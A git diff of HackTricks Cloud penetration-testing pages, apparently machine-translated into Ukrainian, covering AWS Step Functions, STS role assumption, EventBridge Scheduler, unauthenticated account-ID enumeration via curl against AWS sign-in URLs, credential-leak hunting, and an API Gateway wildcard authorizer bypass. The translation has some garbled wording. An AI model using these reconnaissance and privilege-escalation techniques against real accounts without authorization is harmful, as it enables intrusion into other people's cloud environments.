+```json +"MapState": { +"Type": "Map", +"ItemsPath": "$.arrayItems", +"ItemProcessor": { +"ProcessorConfig": { +"Mode": "INLINE" +}, +"StartAt": "AddState", +"States": { +"AddState": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"OutputPath": "$.Payload", +"Parameters": { +"FunctionName": "arn:aws:lambda:::function:add-function" +}, +"End": true +} +} +}, +"End": true +"ResultPath": "$.detail.added", +"ItemsPath": "$.added" } ``` -### Map +- **Distributed Mode**: Призначений для великомасштабної паралельної обробки з високою конкурентністю. Підтримує обробку великих наборів даних, таких як ті, що зберігаються в Amazon S3, що дозволяє високій конкурентності до 10,000 паралельних виконань дочірніх робочих процесів, виконуючи ці дочірні як окреме дочірнє виконання. -A **Map** state enables the execution of a set of steps for each item in an dataset. It's used for parallel processing of data. Depending on how you want to process the items of the dataset, Step Functions provides the following modes: - -- **Inline Mode**: Executes a subset of states for each JSON array item. Suitable for small-scale tasks with less than 40 parallel iterations, running each of them in the context of the workflow that contains the **`Map`** state. - - ```json - "MapState": { - "Type": "Map", - "ItemsPath": "$.arrayItems", - "ItemProcessor": { - "ProcessorConfig": { - "Mode": "INLINE" - }, - "StartAt": "AddState", - "States": { - "AddState": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "OutputPath": "$.Payload", - "Parameters": { - "FunctionName": "arn:aws:lambda:::function:add-function" - }, - "End": true - } - } - }, - "End": true - "ResultPath": "$.detail.added", - "ItemsPath": "$.added" - } - ``` - -- **Distributed Mode**: Designed for large-scale parallel processing with high concurrency. Supports processing large datasets, such as those stored in Amazon S3, enabling a high concurrency of up 10,000 parallel child workflow executions, running these child as a separate child execution. - - ```json - "DistributedMapState": { - "Type": "Map", - "ItemReader": { - "Resource": "arn:aws:states:::s3:getObject", - "Parameters": { - "Bucket": "my-bucket", - "Key": "data.csv" - } - }, - "ItemProcessor": { - "ProcessorConfig": { - "Mode": "DISTRIBUTED", - "ExecutionType": "EXPRESS" - }, - "StartAt": "ProcessItem", - "States": { - "ProcessItem": { - "Type": "Task", - "Resource": "arn:aws:lambda:region:account-id:function:my-function", - "End": true - } - } - }, - "End": true - "ResultWriter": { - "Resource": "arn:aws:states:::s3:putObject", - "Parameters": { - "Bucket": "myOutputBucket", - "Prefix": "csvProcessJobs" - } - } - } - ``` +```json +"DistributedMapState": { +"Type": "Map", +"ItemReader": { +"Resource": "arn:aws:states:::s3:getObject", +"Parameters": { +"Bucket": "my-bucket", +"Key": "data.csv" +} +}, +"ItemProcessor": { +"ProcessorConfig": { +"Mode": "DISTRIBUTED", +"ExecutionType": "EXPRESS" +}, +"StartAt": "ProcessItem", +"States": { +"ProcessItem": { +"Type": "Task", +"Resource": "arn:aws:lambda:region:account-id:function:my-function", +"End": true +} +} +}, +"End": true +"ResultWriter": { +"Resource": "arn:aws:states:::s3:putObject", +"Parameters": { +"Bucket": "myOutputBucket", +"Prefix": "csvProcessJobs" +} +} +} +``` ### Versions and aliases -Step Functions also lets you manage workflow deployments through **versions** and **aliases** of state machines. A version represents a snapshot of a state machine that can be executed. Aliases serve as pointers to up to two versions of a state machine. +Step Functions також дозволяє вам керувати розгортаннями робочих процесів через **версії** та **псевдоніми** станів машин. Версія представляє знімок стану машини, який може бути виконаний. Псевдоніми служать вказівниками на до двох версій стану машини. -- **Versions**: These immutable snapshots of a state machine are created from the most recent revision of that state machine. Each version is identified by a unique ARN that combines the state machine ARN with the version number, separated by a colon (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Versions cannot be edited, but you can update the state machine and publish a new version, or use the desired state machine version. -- **Aliases**: These pointers can reference up to two versions of the same state machine. Multiple aliases can be created for a single state machine, each identified by a unique ARN constructed by combining the state machine ARN with the alias name, separated by a colon (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Aliases enable routing of traffic between one of the two versions of a state machine. Alternatively, an alias can point to a single specific version of the state machine, but not to other aliases. They can be updated to redirect to a different version of the state machine as needed, facilitating controlled deployments and workflow management. +- **Versions**: Ці незмінні знімки стану машини створюються з найостаннішої ревізії цієї стану машини. Кожна версія ідентифікується унікальним ARN, який поєднує ARN стану машини з номером версії, розділеним двокрапкою (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Версії не можуть бути відредаговані, але ви можете оновити стан машини та опублікувати нову версію або використовувати бажану версію стану машини. +- **Aliases**: Ці вказівники можуть посилатися на до двох версій одного й того ж стану машини. Можна створити кілька псевдонімів для однієї стану машини, кожен з яких ідентифікується унікальним ARN, побудованим шляхом поєднання ARN стану машини з назвою псевдоніма, розділеною двокрапкою (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Псевдоніми дозволяють маршрутизацію трафіку між однією з двох версій стану машини. Альтернативно, псевдонім може вказувати на одну конкретну версію стану машини, але не на інші псевдоніми. Їх можна оновити, щоб перенаправити на іншу версію стану машини за потреби, що полегшує контрольовані розгортання та управління робочими процесами. -For more detailed information about **ASL**, check: [**Amazon States Language**](https://states-language.net/spec.html). +Для отримання більш детальної інформації про **ASL** перевірте: [**Amazon States Language**](https://states-language.net/spec.html). ## IAM Roles for State machines -AWS Step Functions utilizes AWS Identity and Access Management (IAM) roles to control access to resources and actions within state machines. Here are the key aspects related to security and IAM roles in AWS Step Functions: +AWS Step Functions використовує ролі AWS Identity and Access Management (IAM) для контролю доступу до ресурсів і дій у станах машин. Ось ключові аспекти, пов'язані з безпекою та ролями IAM в AWS Step Functions: -- **Execution Role**: Each state machine in AWS Step Functions is associated with an IAM execution role. This role defines what actions the state machine can perform on your behalf. When a state machine transitions between states that interact with AWS services (like invoking Lambda functions, accessing DynamoDB, etc.), it assumes this execution role to carry out those actions. -- **Permissions**: The IAM execution role must be configured with permissions that allow the necessary actions on other AWS services. For example, if your state machine needs to invoke AWS Lambda functions, the IAM role must have **`lambda:InvokeFunction`** permissions. Similarly, if it needs to write to DynamoDB, appropriate permissions (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, etc.) must be granted. +- **Execution Role**: Кожна стан машина в AWS Step Functions асоційована з роллю виконання IAM. Ця роль визначає, які дії стан машина може виконувати від вашого імені. Коли стан машина переходить між станами, які взаємодіють з сервісами AWS (наприклад, виклик функцій Lambda, доступ до DynamoDB тощо), вона приймає цю роль виконання для виконання цих дій. +- **Permissions**: Роль виконання IAM повинна бути налаштована з дозволами, які дозволяють необхідні дії з іншими сервісами AWS. Наприклад, якщо вашій стану машини потрібно викликати функції AWS Lambda, роль IAM повинна мати дозволи **`lambda:InvokeFunction`**. Аналогічно, якщо їй потрібно записувати в DynamoDB, повинні бути надані відповідні дозволи (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`** тощо). ## Enumeration -ReadOnlyAccess policy is enough for all the following enumeration actions. - +Політика ReadOnlyAccess достатня для всіх наступних дій перерахування. ```bash # State machines # @@ -310,10 +297,9 @@ aws stepfunctions describe-map-run --map-run-arn ## Lists executions of a Map Run aws stepfunctions list-executions --map-run-arn [--status-filter ] [--redrive-filter ] ``` - ## Privesc -In the following page, you can check how to **abuse Step Functions permissions to escalate privileges**: +На наступній сторінці ви можете перевірити, як **зловживати дозволами Step Functions для ескалації привілеїв**: {{#ref}} ../aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -338,7 +324,3 @@ In the following page, you can check how to **abuse Step Functions permissions t - [https://states-language.net/spec.html](https://states-language.net/spec.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md index 385d55c3b..f7a7aa955 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md @@ -4,62 +4,57 @@ ## STS -**AWS Security Token Service (STS)** is primarily designed to issue **temporary, limited-privilege credentials**. These credentials can be requested for **AWS Identity and Access Management (IAM)** users or for authenticated users (federated users). +**AWS Security Token Service (STS)** в основному призначений для видачі **тимчасових, обмежених привілеїв облікових даних**. Ці облікові дані можуть бути запитані для **AWS Identity and Access Management (IAM)** користувачів або для автентифікованих користувачів (федеративних користувачів). -Given that STS's purpose is to **issue credentials for identity impersonation**, the service is immensely valuable for **escalating privileges and maintaining persistence**, even though it might not have a wide array of options. +Оскільки мета STS полягає в **видачі облікових даних для ідентифікації особи**, служба є надзвичайно цінною для **ескалації привілеїв і підтримки стійкості**, хоча вона може не мати широкого спектру опцій. ### Assume Role Impersonation -The action [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) provided by AWS STS is crucial as it permits a principal to acquire credentials for another principal, essentially impersonating them. Upon invocation, it responds with an access key ID, a secret key, and a session token corresponding to the specified ARN. +Дія [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html), надана AWS STS, є критично важливою, оскільки дозволяє суб'єкту отримувати облікові дані для іншого суб'єкта, фактично імітуючи його. Після виклику вона відповідає з ідентифікатором ключа доступу, секретним ключем і токеном сесії, що відповідає вказаному ARN. -For Penetration Testers or Red Team members, this technique is instrumental for privilege escalation (as elaborated [**here**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). However, it's worth noting that this technique is quite conspicuous and may not catch an attacker off guard. +Для тестувальників на проникнення або членів червоної команди ця техніка є важливою для ескалації привілеїв (як детально описано [**тут**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). Однак варто зазначити, що ця техніка є досить помітною і може не здивувати атакуючого. #### Assume Role Logic -In order to assume a role in the same account if the **role to assume is allowing specifically a role ARN** like in: - +Щоб прийняти роль в одному й тому ж обліковому записі, якщо **роль, яку потрібно прийняти, дозволяє конкретно роль ARN** як у: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::role/priv-role" - }, - "Action": "sts:AssumeRole", - "Condition": {} - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::role/priv-role" +}, +"Action": "sts:AssumeRole", +"Condition": {} +} +] } ``` +Роль **`priv-role`** в цьому випадку **не потребує спеціального дозволу** для прийняття цієї ролі (з цим дозволом достатньо). -The role **`priv-role`** in this case, **doesn't need to be specifically allowed** to assume that role (with that allowance is enough). - -However, if a role is allowing an account to assume it, like in: - +Однак, якщо роль дозволяє обліковому запису приймати її, як у: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "sts:AssumeRole", - "Condition": {} - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "sts:AssumeRole", +"Condition": {} +} +] } ``` +Роль, яка намагається прийняти її, повинна мати **конкретний дозвіл `sts:AssumeRole`** на цю роль **для її прийняття**. -The role trying to assume it will need a **specific `sts:AssumeRole` permission** over that role **to assume it**. - -If you try to assume a **role** **from a different account**, the **assumed role must allow it** (indicating the role **ARN** or the **external account**), and the **role trying to assume** the other one **MUST** to h**ave permissions to assume it** (in this case this isn't optional even if the assumed role is specifying an ARN). +Якщо ви намагаєтеся прийняти **роль** **з іншого облікового запису**, **прийнята роль повинна це дозволити** (вказуючи **ARN** ролі або **зовнішній обліковий запис**), і **роль, яка намагається прийняти** іншу, **МУСТ** мати **дозволи для її прийняття** (в цьому випадку це не є необов'язковим, навіть якщо прийнята роль вказує ARN). ### Enumeration - ```bash # Get basic info of the creds aws sts get-caller-identity @@ -72,10 +67,9 @@ aws sts get-session-token ## MFA aws sts get-session-token --serial-number --token-code ``` - ### Privesc -In the following page you can check how to **abuse STS permissions to escalate privileges**: +На наступній сторінці ви можете перевірити, як **зловживати дозволами STS для ескалації привілеїв**: {{#ref}} ../aws-privilege-escalation/aws-sts-privesc.md @@ -98,7 +92,3 @@ In the following page you can check how to **abuse STS permissions to escalate p - [https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist](https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md index a2f2e0c2f..4610d0edd 100644 --- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md @@ -6,49 +6,48 @@ ## EventBridge Scheduler -**Amazon EventBridge Scheduler** is a fully managed, **serverless scheduler designed to create, run, and manage tasks** at scale. It enables you to schedule millions of tasks across over 270 AWS services and 6,000+ API operations, all from a central service. With built-in reliability and no infrastructure to manage, EventBridge Scheduler simplifies scheduling, reduces maintenance costs, and scales automatically to meet demand. You can configure cron or rate expressions for recurring schedules, set one-time invocations, and define flexible delivery windows with retry options, ensuring tasks are reliably delivered based on the availability of downstream targets. +**Amazon EventBridge Scheduler** є повністю керованим, **безсерверним планувальником, призначеним для створення, виконання та управління завданнями** в масштабах. Він дозволяє вам планувати мільйони завдань через понад 270 сервісів AWS та 6,000+ API операцій, все з одного центрального сервісу. Завдяки вбудованій надійності та відсутності інфраструктури для управління, EventBridge Scheduler спрощує планування, зменшує витрати на обслуговування та автоматично масштабується відповідно до попиту. Ви можете налаштувати cron або rate вирази для повторюваних розкладів, встановити одноразові виклики та визначити гнучкі вікна доставки з опціями повторних спроб, забезпечуючи надійну доставку завдань на основі доступності цільових об'єктів. -There is an initial limit of 1,000,000 schedules per region per account. Even the official quotas page suggests, "It's recommended to delete one-time schedules once they've completed." +Існує початковий ліміт у 1,000,000 розкладів на регіон на обліковий запис. Навіть на офіційній сторінці квот зазначено: "Рекомендується видаляти одноразові розклади після їх завершення." ### Types of Schedules -Types of Schedules in EventBridge Scheduler: +Типи розкладів у EventBridge Scheduler: -1. **One-time schedules** – Execute a task at a specific time, e.g., December 21st at 7 AM UTC. -2. **Rate-based schedules** – Set recurring tasks based on a frequency, e.g., every 2 hours. -3. **Cron-based schedules** – Set recurring tasks using a cron expression, e.g., every Friday at 4 PM. +1. **Одноразові розклади** – Виконати завдання в конкретний час, наприклад, 21 грудня о 7:00 UTC. +2. **Розклади на основі частоти** – Встановити повторювані завдання на основі частоти, наприклад, кожні 2 години. +3. **Розклади на основі cron** – Встановити повторювані завдання, використовуючи cron вираз, наприклад, кожної п'ятниці о 16:00. -Two Mechanisms for Handling Failed Events: +Два механізми для обробки невдалих подій: -1. **Retry Policy** – Defines the number of retry attempts for a failed event and how long to keep it unprocessed before considering it a failure. -2. **Dead-Letter Queue (DLQ)** – A standard Amazon SQS queue where failed events are delivered after retries are exhausted. DLQs help in troubleshooting issues with your schedule or its downstream target. +1. **Політика повторних спроб** – Визначає кількість спроб повторення для невдалої події та як довго тримати її необробленою, перш ніж вважати її невдачею. +2. **Черга з мертвими листами (DLQ)** – Стандартна черга Amazon SQS, куди доставляються невдалі події після вичерпання спроб повторення. DLQ допомагає в усуненні проблем з вашим розкладом або його цільовим об'єктом. ### Targets -There are 2 types of targets for a scheduler [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), which are commonly used and AWS made them easier to configure, and [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), which can be used to call any AWS API. +Існує 2 типи цілей для планувальника [**шаблонні (документи)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), які часто використовуються, і AWS спростив їх налаштування, та [**універсальні (документи)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), які можна використовувати для виклику будь-якого AWS API. -**Templated targets** support the following services: +**Шаблонні цілі** підтримують наступні сервіси: - CodeBuild – StartBuild - CodePipeline – StartPipelineExecution - Amazon ECS – RunTask - - Parameters: EcsParameters +- Параметри: EcsParameters - EventBridge – PutEvents - - Parameters: EventBridgeParameters +- Параметри: EventBridgeParameters - Amazon Inspector – StartAssessmentRun - Kinesis – PutRecord - - Parameters: KinesisParameters +- Параметри: KinesisParameters - Firehose – PutRecord - Lambda – Invoke - SageMaker – StartPipelineExecution - - Parameters: SageMakerPipelineParameters +- Параметри: SageMakerPipelineParameters - Amazon SNS – Publish - Amazon SQS – SendMessage - - Parameters: SqsParameters +- Параметри: SqsParameters - Step Functions – StartExecution ### Enumeration - ```bash # List all EventBridge Scheduler schedules aws scheduler list-schedules @@ -65,10 +64,9 @@ aws scheduler get-schedule-group --name # List tags for a specific schedule (helpful in identifying any custom tags or permissions) aws scheduler list-tags-for-resource --resource-arn ``` - ### Privesc -In the following page, you can check how to **abuse eventbridge scheduler permissions to escalate privileges**: +На наступній сторінці ви можете перевірити, як **зловживати правами доступу до eventbridge scheduler для ескалації привілеїв**: {{#ref}} ../aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -79,7 +77,3 @@ In the following page, you can check how to **abuse eventbridge scheduler permis - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md index 0003290b4..57a42b5f9 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md @@ -1,58 +1,54 @@ -# AWS - Unauthenticated Enum & Access +# AWS - Неавтентифікований Enum & Доступ {{#include ../../../banners/hacktricks-training.md}} -## AWS Credentials Leaks +## Витоки AWS Кредитів -A common way to obtain access or information about an AWS account is by **searching for leaks**. You can search for leaks using **google dorks**, checking the **public repos** of the **organization** and the **workers** of the organization in **Github** or other platforms, searching in **credentials leaks databases**... or in any other part you think you might find any information about the company and its cloud infa.\ -Some useful **tools**: +Звичайний спосіб отримати доступ або інформацію про обліковий запис AWS - це **шукати витоки**. Ви можете шукати витоки, використовуючи **google dorks**, перевіряючи **публічні репозиторії** організації та **працівників** організації в **Github** або інших платформах, шукаючи в **базах даних витоків кредитів**... або в будь-якій іншій частині, де ви думаєте, що можете знайти інформацію про компанію та її хмарну інфраструктуру.\ +Деякі корисні **інструменти**: - [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos) - [https://github.com/carlospolop/pastos](https://github.com/carlospolop/pastos) - [https://github.com/carlospolop/gorks](https://github.com/carlospolop/gorks) -## AWS Unauthenticated Enum & Access +## Неавтентифікований Enum & Доступ AWS -There are several services in AWS that could be configured giving some kind of access to all Internet or to more people than expected. Check here how: +Існує кілька сервісів в AWS, які можуть бути налаштовані так, що надають певний доступ всьому Інтернету або більшій кількості людей, ніж очікувалося. Перевірте тут, як: -- [**Accounts Unauthenticated Enum**](aws-accounts-unauthenticated-enum.md) -- [**Cloud9 Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) -- [**Cloudfront Unauthenticated Enum**](aws-cloudfront-unauthenticated-enum.md) -- [**Cloudsearch Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) -- [**Cognito Unauthenticated Enum**](aws-cognito-unauthenticated-enum.md) -- [**DocumentDB Unauthenticated Enum**](aws-documentdb-enum.md) -- [**EC2 Unauthenticated Enum**](aws-ec2-unauthenticated-enum.md) -- [**Elasticsearch Unauthenticated Enum**](aws-elasticsearch-unauthenticated-enum.md) -- [**IAM Unauthenticated Enum**](aws-iam-and-sts-unauthenticated-enum.md) -- [**IoT Unauthenticated Access**](aws-iot-unauthenticated-enum.md) -- [**Kinesis Video Unauthenticated Access**](aws-kinesis-video-unauthenticated-enum.md) -- [**Media Unauthenticated Access**](aws-media-unauthenticated-enum.md) -- [**MQ Unauthenticated Access**](aws-mq-unauthenticated-enum.md) -- [**MSK Unauthenticated Access**](aws-msk-unauthenticated-enum.md) -- [**RDS Unauthenticated Access**](aws-rds-unauthenticated-enum.md) -- [**Redshift Unauthenticated Access**](aws-redshift-unauthenticated-enum.md) -- [**SQS Unauthenticated Access**](aws-sqs-unauthenticated-enum.md) -- [**S3 Unauthenticated Access**](aws-s3-unauthenticated-enum.md) +- [**Неавтентифікований Enum Облікових Записів**](aws-accounts-unauthenticated-enum.md) +- [**Неавтентифікований Enum Cloud9**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) +- [**Неавтентифікований Enum Cloudfront**](aws-cloudfront-unauthenticated-enum.md) +- [**Неавтентифікований Enum Cloudsearch**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) +- [**Неавтентифікований Enum Cognito**](aws-cognito-unauthenticated-enum.md) +- [**Неавтентифікований Enum DocumentDB**](aws-documentdb-enum.md) +- [**Неавтентифікований Enum EC2**](aws-ec2-unauthenticated-enum.md) +- [**Неавтентифікований Enum Elasticsearch**](aws-elasticsearch-unauthenticated-enum.md) +- [**Неавтентифікований Enum IAM**](aws-iam-and-sts-unauthenticated-enum.md) +- [**Неавтентифікований Доступ IoT**](aws-iot-unauthenticated-enum.md) +- [**Неавтентифікований Доступ Kinesis Video**](aws-kinesis-video-unauthenticated-enum.md) +- [**Неавтентифікований Доступ Media**](aws-media-unauthenticated-enum.md) +- [**Неавтентифікований Доступ MQ**](aws-mq-unauthenticated-enum.md) +- [**Неавтентифікований Доступ MSK**](aws-msk-unauthenticated-enum.md) +- [**Неавтентифікований Доступ RDS**](aws-rds-unauthenticated-enum.md) +- [**Неавтентифікований Доступ Redshift**](aws-redshift-unauthenticated-enum.md) +- [**Неавтентифікований Доступ SQS**](aws-sqs-unauthenticated-enum.md) +- [**Неавтентифікований Доступ S3**](aws-s3-unauthenticated-enum.md) -## Cross Account Attacks +## Атаки Між Обліковими Записами -In the talk [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) it's presented how some services allow(ed) any AWS account accessing them because **AWS services without specifying accounts ID** were allowed. +У доповіді [**Порушення Ізоляції: Вразливості AWS Між Обліковими Записами**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) показано, як деякі сервіси дозволяли будь-якому обліковому запису AWS отримувати до них доступ, оскільки **сервіси AWS без вказівки ID облікових записів** були дозволені. -During the talk they specify several examples, such as S3 buckets **allowing cloudtrai**l (of **any AWS** account) to **write to them**: +Під час доповіді вони наводять кілька прикладів, таких як S3 бакети, які **дозволяють cloudtrail** (будь-якого облікового запису **AWS**) **записувати до них**: ![](<../../../images/image (260).png>) -Other services found vulnerable: +Інші вразливі сервіси: - AWS Config - Serverless repository -## Tools +## Інструменти -- [**cloud_enum**](https://github.com/initstring/cloud_enum): Multi-cloud OSINT tool. **Find public resources** in AWS, Azure, and Google Cloud. Supported AWS services: Open / Protected S3 Buckets, awsapps (WorkMail, WorkDocs, Connect, etc.) +- [**cloud_enum**](https://github.com/initstring/cloud_enum): Інструмент OSINT для багатохмарного середовища. **Знайти публічні ресурси** в AWS, Azure та Google Cloud. Підтримувані сервіси AWS: Відкриті / Захищені S3 бакети, awsapps (WorkMail, WorkDocs, Connect тощо) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md index 84c70ed0e..294a83025 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md @@ -2,14 +2,13 @@ {{#include ../../../banners/hacktricks-training.md}} -## Account IDs +## Ідентифікатори облікових записів -If you have a target there are ways to try to identify account IDs of accounts related to the target. +Якщо у вас є ціль, існують способи спробувати ідентифікувати ідентифікатори облікових записів, пов'язаних з ціллю. -### Brute-Force - -You create a list of potential account IDs and aliases and check them +### Брутфорс +Ви створюєте список потенційних ідентифікаторів облікових записів та псевдонімів і перевіряєте їх ```bash # Check if an account ID exists curl -v https://.signin.aws.amazon.com @@ -17,33 +16,28 @@ curl -v https://.signin.aws.amazon.com ## It also works from account aliases curl -v https://vodafone-uk2.signin.aws.amazon.com ``` - -You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). +You can [автоматизувати цей процес за допомогою цього інструменту](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). ### OSINT -Look for urls that contains `.signin.aws.amazon.com` with an **alias related to the organization**. +Шукайте URL-адреси, які містять `.signin.aws.amazon.com` з **аліасом, пов'язаним з організацією**. ### Marketplace -If a vendor has **instances in the marketplace,** you can get the owner id (account id) of the AWS account he used. +Якщо у постачальника є **екземпляри на ринку,** ви можете отримати ідентифікатор власника (ідентифікатор облікового запису) AWS-облікового запису, який він використовував. ### Snapshots -- Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots) -- RDS public snapshots (RDS -> Snapshots -> All Public Snapshots) -- Public AMIs (EC2 -> AMIs -> Public images) +- Публічні EBS знімки (EC2 -> Snapshots -> Public Snapshots) +- Публічні знімки RDS (RDS -> Snapshots -> All Public Snapshots) +- Публічні AMI (EC2 -> AMIs -> Public images) ### Errors -Many AWS error messages (even access denied) will give that information. +Багато повідомлень про помилки AWS (навіть доступ заборонено) нададуть цю інформацію. ## References - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md index 5a69bebe0..b96c17a8c 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -4,57 +4,49 @@ ### API Invoke bypass -According to the talk [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers can be configured **using IAM syntax** to give permissions to invoke API endpoints. This is taken [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): - +Згідно з доповіддю [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers можуть бути налаштовані **з використанням синтаксису IAM** для надання дозволів на виклик API кінцевих точок. Це взято [**з документації**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Permission", - "Action": ["execute-api:Execution-operation"], - "Resource": [ - "arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" - ] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Permission", +"Action": ["execute-api:Execution-operation"], +"Resource": [ +"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" +] +} +] } ``` +Проблема з цим способом надання дозволів для виклику кінцевих точок полягає в тому, що **"\*" означає "будь-що"** і **більше не підтримується синтаксис regex**. -The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**. +Декілька прикладів: -Some examples: - -- A rule such as `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` in order to give each user access to `/dashboard/user/{username}` will give them access to other routes such as `/admin/dashboard/createAdmin` for example. +- Правило, таке як `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*`, щоб надати кожному користувачу доступ до `/dashboard/user/{username}`, надасть їм доступ до інших маршрутів, таких як `/admin/dashboard/createAdmin`, наприклад. > [!WARNING] -> Note that **"\*" doesn't stop expanding with slashes**, therefore, if you use "\*" in api-id for example, it could also indicate "any stage" or "any method" as long as the final regex is still valid.\ -> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ -> Can validate a post request to test stage to the path `/prod/GET/dashboard/admin` for example. +> Зверніть увагу, що **"\*" не зупиняється на розширенні з косими рисками**, тому, якщо ви використовуєте "\*" в api-id, наприклад, це також може вказувати на "будь-яку стадію" або "будь-який метод", якщо фінальний regex все ще дійсний.\ +> Отже, `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ +> Може перевірити запит на пост для тестової стадії до шляху `/prod/GET/dashboard/admin`, наприклад. -You should always have clear what you want to allow to access and then check if other scenarios are possible with the permissions granted. +Вам завжди слід чітко розуміти, що ви хочете дозволити для доступу, а потім перевірити, чи можливі інші сценарії з наданими дозволами. -For more info, apart of the [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), you can find code to implement authorizers in [**this official aws 